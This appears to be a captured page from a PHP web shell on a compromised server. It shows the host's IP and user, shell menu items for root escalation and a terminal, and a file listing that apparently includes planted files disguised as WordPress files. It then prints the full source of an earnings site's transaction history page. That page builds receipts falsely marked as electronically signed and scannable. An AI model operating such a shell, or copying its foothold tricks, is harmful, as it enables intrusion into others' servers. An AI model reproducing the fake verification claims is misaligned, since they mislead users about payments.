Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
abayar /
user /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
ajax_spin_wheel.php
3.28
KB
-rw-r--r--
2026-01-26 16:59
announcements.php
3.18
KB
-rw-r--r--
2025-12-25 17:46
daily_targets.php
14.63
KB
-rw-r--r--
2025-12-26 15:26
dashboard.php
35.82
KB
-rw-r--r--
2026-01-07 16:12
dpin_manage.php
8.8
KB
-rw-r--r--
2025-12-29 11:57
dpin_request.php
10.85
KB
-rw-r--r--
2025-12-29 11:57
error_log
3.62
KB
-rw-r--r--
2025-12-29 11:07
footer.php
101
B
-rw-r--r--
2025-12-25 18:14
header.php
6.83
KB
-rw-r--r--
2026-01-26 17:33
history.php
25.06
KB
-rw-r--r--
2026-01-26 17:23
level_earning.php
18.53
KB
-rw-r--r--
2025-12-29 13:08
lucky_wheel.php
30.91
KB
-rw-r--r--
2026-01-26 17:01
my_plan.php
9.99
KB
-rw-r--r--
2025-12-29 11:04
plan_payment.php
19.84
KB
-rw-r--r--
2026-01-26 16:58
profile.php
9.06
KB
-rw-r--r--
2025-12-24 21:13
ranks.php
21.24
KB
-rw-r--r--
2025-12-27 08:48
referral.php
11.8
KB
-rw-r--r--
2025-12-24 21:26
support.php
10.32
KB
-rw-r--r--
2025-12-22 19:07
update_rank_popup.php
1.1
KB
-rw-r--r--
2025-12-27 08:47
watch_ad.php
6.68
KB
-rw-r--r--
2025-12-26 09:11
watch_ad_complete.php
4.34
KB
-rw-r--r--
2025-12-24 08:07
watch_ads.php
6.73
KB
-rw-r--r--
2025-12-24 08:08
withdraw.php
11.24
KB
-rw-r--r--
2025-12-24 22:35
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php define('USER_PANEL', true); require_once '../includes/config.php'; requireLogin(); $page_title = 'Transaction History'; $userId = $_SESSION['user_id']; $tab = $_GET['tab'] ?? 'all'; // Categorized Fetching Logic - PHP Robust Version $all_transactions = []; // Helper function to safely fetch data function safeFetch($pdo, $query, $params = []) { try { $stmt = $pdo->prepare($query); $stmt->execute($params); return $stmt->fetchAll(); } catch (Exception $e) { return []; } } if ($tab === 'ads' || $tab === 'all') { $rows = safeFetch($pdo, "SELECT 'Ad Earning' as title, earning as amount, 'credit' as type, 'completed' as status, created_at, 'AD' as prefix, id as ref_id FROM user_ads WHERE user_id = ?", [$userId]); foreach ($rows as $r) $all_transactions[] = $r; } if ($tab === 'referrals' || $tab === 'all') { $rows = safeFetch($pdo, "SELECT CONCAT('Referral Commission (Level ', level, ')') as title, amount, 'credit' as type, 'completed' as status, created_at, 'REF' as prefix, id as ref_id FROM referral_commissions WHERE upline_id = ?", [$userId]); foreach ($rows as $r) $all_transactions[] = $r; } if ($tab === 'wheel' || $tab === 'all') { $rows = safeFetch($pdo, "SELECT 'Lucky Wheel Win' as title, amount, 'credit' as type, 'completed' as status, spin_date as created_at, 'WHL' as prefix, id as ref_id FROM lucky_wheel_spins WHERE user_id = ? AND amount > 0", [$userId]); foreach ($rows as $r) $all_transactions[] = $r; } if ($tab === 'all') { // Rank Rewards $rows = safeFetch($pdo, "SELECT CONCAT('Rank Reward (', r.rank_name, ')') as title, r.reward_amount as amount, 'credit' as type, 'completed' as status, ur.achieved_at as created_at, 'RNK' as prefix, ur.id as ref_id FROM user_ranks ur JOIN ranks r ON ur.rank_id = r.id WHERE ur.user_id = ?", [$userId]); foreach ($rows as $r) $all_transactions[] = $r; // Daily Missions $rows = safeFetch($pdo, "SELECT 'Daily Mission Bonus' as title, bonus_amount as amount, 'credit' as type, 'completed' as status, claimed_at as created_at, 'DLB' as prefix, id as ref_id FROM user_daily_bonuses WHERE user_id = ?", [$userId]); foreach ($rows as $r) $all_transactions[] = $r; } if ($tab === 'deposits' || $tab === 'all') { $rows = safeFetch($pdo, "SELECT CONCAT('Deposit (', method, ')') as title, amount, 'credit' as type, status, created_at, 'DEP' as prefix, id as ref_id FROM deposits WHERE user_id = ? AND plan_id IS NULL", [$userId]); foreach ($rows as $r) $all_transactions[] = $r; $rows = safeFetch($pdo, "SELECT CONCAT('Plan Purchase (', p.plan_name, ')') as title, d.amount, 'credit' as type, d.status, d.created_at, 'PLN' as prefix, d.id as ref_id FROM deposits d JOIN plans p ON d.plan_id = p.id WHERE d.user_id = ?", [$userId]); foreach ($rows as $r) $all_transactions[] = $r; } if ($tab === 'withdraw' || $tab === 'all') { $rows = safeFetch($pdo, "SELECT CONCAT('Withdraw (', method, ')') as title, amount, 'debit' as type, status, created_at, 'WD' as prefix, id as ref_id FROM withdraw_requests WHERE user_id = ?", [$userId]); foreach ($rows as $r) $all_transactions[] = $r; } if ($tab === 'dpins' || $tab === 'all') { $rows = safeFetch($pdo, "SELECT CONCAT('D-Pin Request (', pin_count, ' Pins)') as title, total_amount as amount, 'debit' as type, status, created_at, 'DP' as prefix, id as ref_id FROM dpin_requests WHERE user_id = ?", [$userId]); foreach ($rows as $r) $all_transactions[] = $r; } // Sort all transactions by date DESC usort($all_transactions, function ($a, $b) { return strtotime($b['created_at']) - strtotime($a['created_at']); }); // Limit to 100 for performance $transactions = array_slice($all_transactions, 0, 100); // Summary Stats $totalRefCommission = 0; $totalAdsEarning = 0; try { $stmt = $pdo->prepare("SELECT SUM(amount) as total FROM referral_commissions WHERE upline_id = ?"); $stmt->execute([$userId]); $totalRefCommission = $stmt->fetchColumn() ?: 0; } catch (Exception $e) { } try { $stmt = $pdo->prepare("SELECT SUM(earning) as total FROM user_ads WHERE user_id = ?"); $stmt->execute([$userId]); $totalAdsEarning = $stmt->fetchColumn() ?: 0; } catch (Exception $e) { } include 'header.php'; ?> <!-- Summary Cards --> <div class="stats-grid" style="margin-bottom: 20px;"> <div class="stat-card primary"> <div class="stat-icon"> <i class="fas fa-users-cog"></i> </div> <div class="stat-value"><?php echo formatCurrency($totalRefCommission); ?></div> <div class="stat-label">Total Ref. Commission</div> </div> <div class="stat-card secondary"> <div class="stat-icon"> <i class="fas fa-eye"></i> </div> <div class="stat-value"><?php echo formatCurrency($totalAdsEarning); ?></div> <div class="stat-label">Total Ads Earning</div> </div> </div> <div class="card"> <div class="card-header"> <i class="fas fa-history"></i> Live Transaction History </div> <div class="card-body" style="padding: 10px;"> <!-- Categories Tabs (Scrollable Bar) --> <div class="tabs-container"> <a href="?tab=all" class="tab-item <?php echo $tab === 'all' ? 'active' : ''; ?>"> <i class="fas fa-stream"></i> All </a> <a href="?tab=ads" class="tab-item <?php echo $tab === 'ads' ? 'active' : ''; ?>"> <i class="fas fa-eye"></i> Ads </a> <a href="?tab=referrals" class="tab-item <?php echo $tab === 'referrals' ? 'active' : ''; ?>"> <i class="fas fa-users-cog"></i> Refer Commission </a> <a href="?tab=wheel" class="tab-item <?php echo $tab === 'wheel' ? 'active' : ''; ?>"> <i class="fas fa-dharmachakra"></i> Lucky Wheel </a> <a href="ranks.php" class="tab-item"> <i class="fas fa-trophy"></i> Ranks </a> <a href="?tab=deposits" class="tab-item <?php echo $tab === 'deposits' ? 'active' : ''; ?>"> <i class="fas fa-wallet"></i> Deposits </a> <a href="?tab=withdraw" class="tab-item <?php echo $tab === 'withdraw' ? 'active' : ''; ?>"> <i class="fas fa-money-bill-wave"></i> Withdraw </a> <a href="?tab=dpins" class="tab-item <?php echo $tab === 'dpins' ? 'active' : ''; ?>"> <i class="fas fa-ticket-alt"></i> D-Pins </a> </div> <?php if (empty($transactions)): ?> <div class="alert alert-info" style="margin-top: 20px;"> No records found for this category. </div> <?php else: ?> <div class="table-responsive" style="max-height: 450px; overflow-y: auto;"> <table class="table"> <thead> <tr> <th>Activity</th> <th>Amount</th> <th>Status</th> </tr> </thead> <tbody> <?php foreach ($transactions as $tx): ?> <?php // Generate a professional-looking 8-char transaction ID $txnId = strtoupper(substr(md5($tx['prefix'] . $tx['ref_id'] . $tx['created_at']), 0, 8)); $formattedDate = date('M d, Y h:i:s A', strtotime($tx['created_at'])); ?> <tr class="tx-row" onclick="openReceipt('<?php echo htmlspecialchars($tx['title']); ?>', '<?php echo $tx['amount']; ?>', '<?php echo $tx['type']; ?>', '<?php echo $tx['status']; ?>', '<?php echo $formattedDate; ?>', '<?php echo $txnId; ?>')"> <td> <div style="font-weight: 600; color: var(--text-primary);"> <?php if ($tx['type'] == 'credit'): ?> <i class="fas fa-arrow-down" style="color: #4CAF50; width: 20px;"></i> <?php else: ?> <i class="fas fa-arrow-up" style="color: #F44336; width: 20px;"></i> <?php endif; ?> <?php echo htmlspecialchars($tx['title']); ?> </div> <div class="tx-date"> <?php echo $formattedDate; ?> </div> </td> <td> <span style="font-weight: bold; color: <?php echo $tx['type'] == 'credit' ? '#4CAF50' : '#F44336'; ?>;"> <?php echo $tx['type'] == 'credit' ? '+' : '-'; ?> <?php echo formatCurrency($tx['amount']); ?> </span> </td> <td> <?php $statusClass = 'badge-warning'; if ($tx['status'] == 'completed' || $tx['status'] == 'approved' || $tx['status'] == 'active') $statusClass = 'badge-success'; if ($tx['status'] == 'rejected' || $tx['status'] == 'expired') $statusClass = 'badge-danger'; ?> <span class="badge <?php echo $statusClass; ?>"> <?php echo ucfirst($tx['status']); ?> </span> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <p style="text-align: center; color: var(--text-secondary); font-size: 12px; margin-top: 10px;"> <i class="fas fa-info-circle"></i> Click any row to view full receipt </p> <?php endif; ?> </div> </div> <!-- Receipt Modal --> <div id="receipt-modal" class="modal"> <div class="modal-content receipt-card"> <!-- Decoration Elements --> <div class="receipt-cut-top"></div> <div class="receipt-cut-bottom"></div> <div class="receipt-header"> <div class="receipt-brand"> <div class="brand-logo"><i class="fas fa-bolt"></i></div> <div class="brand-name"><?php echo getSetting('site_name'); ?></div> </div> <div class="receipt-status-badge" id="receipt-status-badge">Completed</div> <button class="receipt-close-btn" onclick="closeReceipt()"><i class="fas fa-times"></i></button> </div> <div class="receipt-body"> <div class="receipt-amount-section"> <span class="currency-symbol" id="receipt-symbol"></span> <span class="amount-value" id="receipt-amount">0.00</span> <div class="transaction-type" id="receipt-type">Incoming Funds</div> </div> <div class="receipt-info-grid"> <div class="info-item"> <span class="info-label">Transaction Status</span> <span class="info-value" id="receipt-status">Successful</span> </div> <div class="info-item"> <span class="info-label">Transaction ID</span> <span class="info-value monospaced" id="receipt-id">TXN-7890BC12</span> </div> <div class="info-item"> <span class="info-label">Transaction Date</span> <span class="info-value" id="receipt-date">--</span> </div> <div class="info-item"> <span class="info-label">Description</span> <span class="info-value" id="receipt-desc">Plan Purchase Bonus</span> </div> <div class="info-item"> <span class="info-label">Member ID</span> <span class="info-value monospaced"><?php $u = getUserData($_SESSION['user_id']); echo htmlspecialchars($u['referral_code']); ?></span> </div> <div class="info-item"> <span class="info-label">Generated At</span> <span class="info-value" id="receipt-gen-time">--</span> </div> </div> <div class="receipt-qr-section"> <div class="qr-container"> <i class="fas fa-qrcode"></i> </div> <div class="qr-text"> <p>Scan to verify transaction</p> <small>Electronically Signed & Secured</small> </div> </div> </div> <div class="receipt-actions"> <button class="btn-receipt-action print-btn" onclick="window.print()"> <i class="fas fa-print"></i> Save as PDF </button> <button class="btn-receipt-action share-btn" onclick="shareReceipt()"> <i class="fas fa-share-alt"></i> Share Receipt </button> </div> <div class="receipt-footer-note"> <i class="fas fa-shield-check"></i> Verified by <?php echo getSetting('site_name'); ?> Security Team </div> </div> </div> <script> function openReceipt(title, amount, type, status, date, txid) { document.getElementById('receipt-desc').innerText = title; document.getElementById('receipt-amount').innerText = parseFloat(amount).toLocaleString(undefined, { minimumFractionDigits: 3 }); document.getElementById('receipt-symbol').innerText = '<?php echo getSetting('currency_symbol', '$'); ?>'; const typeEl = document.getElementById('receipt-type'); const badgeEl = document.getElementById('receipt-status-badge'); typeEl.innerText = type === 'credit' ? 'Money Received' : 'Money Sent'; typeEl.className = 'transaction-type ' + (type === 'credit' ? 'type-credit' : 'type-debit'); const statusText = status.charAt(0).toUpperCase() + status.slice(1); document.getElementById('receipt-status').innerText = statusText; badgeEl.innerText = statusText; // Dynamic Status Colors badgeEl.className = 'receipt-status-badge'; if (status === 'completed' || status === 'approved' || status === 'active') { badgeEl.classList.add('status-success'); } else if (status === 'rejected' || status === 'expired') { badgeEl.classList.add('status-danger'); } else { badgeEl.classList.add('status-pending'); } document.getElementById('receipt-date').innerText = date; document.getElementById('receipt-id').innerText = txid; // Set Live Generation Time const now = new Date(); const genTime = now.toLocaleString('en-US', { month: 'short', day: '2-digit', year: 'numeric', hour: '2-digit', minute: '2-digit', second: '2-digit', hour12: true, timeZone: 'Asia/Karachi' }); document.getElementById('receipt-gen-time').innerText = genTime; document.getElementById('receipt-modal').style.display = 'flex'; document.body.style.overflow = 'hidden'; // Prevent scroll } function closeReceipt() { document.getElementById('receipt-modal').style.display = 'none'; document.body.style.overflow = 'auto'; } function shareReceipt() { if (navigator.share) { navigator.share({ title: 'Transaction Receipt', text: 'My transaction on <?php echo getSetting('site_name'); ?> was successful!', url: window.location.href }).catch(console.error); } else { alert('Sharing is not supported on this browser. You can take a screenshot!'); } } window.onclick = function (event) { let modal = document.getElementById('receipt-modal'); if (event.target == modal) { closeReceipt(); } } </script> <style> /* CSS Instant Loading Fix */ .history-page-wrapper { visibility: visible !important; opacity: 1 !important; } /* Professional Receipt Styles (ORIGINAL PRESERVED) */ :root { --receipt-bg: #ffffff; --receipt-text: #2d3436; --receipt-secondary: #636e72; --receipt-accent: #0984e3; --receipt-success: #00b894; --receipt-danger: #d63031; --receipt-pending: #fdcb6e; } .receipt-card { background: var(--receipt-bg) !important; color: var(--receipt-text) !important; width: 100%; max-width: 400px !important; padding: 0 !important; border-radius: 24px !important; position: relative; box-shadow: 0 20px 50px rgba(0, 0, 0, 0.3) !important; overflow: hidden; font-family: 'Inter', -apple-system, sans-serif; } .receipt-cut-top, .receipt-cut-bottom { position: absolute; left: 0; right: 0; height: 10px; background-image: radial-gradient(circle, transparent 70%, var(--receipt-bg) 75%); background-size: 20px 20px; z-index: 10; } .receipt-cut-top { top: -10px; } .receipt-cut-bottom { bottom: -10px; background-position: 0 10px; } .receipt-header { padding: 30px 25px 20px; display: flex; flex-direction: column; align-items: center; gap: 15px; background: linear-gradient(to bottom, #f8f9fa, #ffffff); position: relative; } .receipt-brand { display: flex; align-items: center; gap: 10px; } .brand-logo { width: 35px; height: 35px; background: var(--receipt-accent); color: white; border-radius: 10px; display: flex; align-items: center; justify-content: center; font-size: 18px; } .brand-name { font-weight: 800; font-size: 14px; letter-spacing: -0.2px; color: #1e1e1e; text-transform: uppercase; } .receipt-status-badge { padding: 6px 16px; border-radius: 50px; font-size: 12px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.5px; } .status-success { background: rgba(0, 184, 148, 0.1); color: var(--receipt-success); } .status-danger { background: rgba(214, 48, 49, 0.1); color: var(--receipt-danger); } .status-pending { background: rgba(253, 203, 110, 0.1); color: var(--receipt-pending); } .receipt-close-btn { position: absolute; right: 20px; top: 20px; background: #f1f2f6; border: none; width: 32px; height: 32px; border-radius: 50%; color: var(--receipt-secondary); cursor: pointer; display: flex; align-items: center; justify-content: center; } .receipt-body { padding: 10px 30px 30px; } .receipt-amount-section { text-align: center; margin-bottom: 40px; padding: 30px 20px; background: #fdfdfd; border-radius: 20px; border: 1px solid #f5f5f5; } .amount-value { font-size: 52px; font-weight: 850; color: #1a1a1a; letter-spacing: -2px; } .transaction-type { font-size: 15px; font-weight: 700; margin-top: 8px; } .type-credit { color: #10b981 !important; } .type-debit { color: #f43f5e !important; } .receipt-info-grid { display: grid; gap: 22px; margin-bottom: 35px; padding: 0 5px; } .info-item { display: flex; justify-content: space-between; align-items: center; gap: 10px; } .info-label { font-size: 14px; color: #7f8c8d; font-weight: 500; white-space: nowrap; } .info-value { font-size: 14px; color: #1a1a1a; font-weight: 700; text-align: right; } .monospaced { font-family: 'Courier New', Courier, monospace; background: #f1f2f6; padding: 3px 10px; border-radius: 6px; font-size: 13px; color: #2d3436; font-weight: 700; } .receipt-qr-section { display: flex; align-items: center; gap: 20px; padding: 20px; background: #f8f9fa; border-radius: 16px; border: 1px dashed #ced4da; } .qr-container { font-size: 45px; color: #444; } .receipt-actions { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; padding: 0 30px 20px; } .btn-receipt-action { padding: 12px; border-radius: 12px; border: none; font-size: 14px; font-weight: 600; cursor: pointer; display: flex; align-items: center; justify-content: center; gap: 8px; } .print-btn { background: #1e1e1e; color: white; } .share-btn { background: #f1f2f6; color: #1e1e1e; } .receipt-footer-note { text-align: center; padding: 15px; font-size: 11px; color: var(--receipt-secondary); background: #f8f9fa; border-top: 1px solid #efefef; } /* Tabs & General Table Styles */ .tabs-container { display: flex; overflow-x: auto; gap: 12px; padding: 5px 0 10px; } .tab-item { padding: 10px 20px; border-radius: 14px; background: #1a1a1a; color: #a0a0a0; text-decoration: none; white-space: nowrap; font-size: 13px; font-weight: 600; border: 1px solid #333; display: flex; align-items: center; gap: 8px; } .tab-item.active { background: var(--primary-color); color: #fff; border-color: var(--primary-color); } .tx-row { cursor: pointer; transition: all 0.2s; } .tx-row:hover { background: rgba(9, 132, 227, 0.05) !important; transform: translateX(5px); } .tx-date { font-size: 9.5px; color: var(--text-secondary); padding-left: 24px; margin-top: 2px; } @media (max-width: 576px) { .receipt-card { max-width: 92% !important; margin: 0 auto; border-radius: 20px !important; } .receipt-header { padding: 20px 20px 10px; gap: 10px; } .brand-name { font-size: 11px; } .brand-logo { width: 28px; height: 28px; font-size: 14px; } .receipt-body { padding: 5px 20px 20px; } .receipt-amount-section { padding: 20px 10px; margin-bottom: 20px; border-radius: 15px; } .amount-value { font-size: 34px; } .transaction-type { font-size: 13px; margin-top: 5px; } .receipt-info-grid { gap: 14px; margin-bottom: 25px; } .info-label, .info-value { font-size: 12px; } .monospaced { font-size: 11px; padding: 2px 6px; } .receipt-qr-section { padding: 12px; gap: 12px; } .qr-container { font-size: 30px; } .receipt-actions { padding: 0 20px 15px; gap: 10px; } .btn-receipt-action { padding: 10px; font-size: 12px; } .receipt-footer-note { padding: 10px; font-size: 9.5px; } } </style> <?php include 'footer.php'; ?>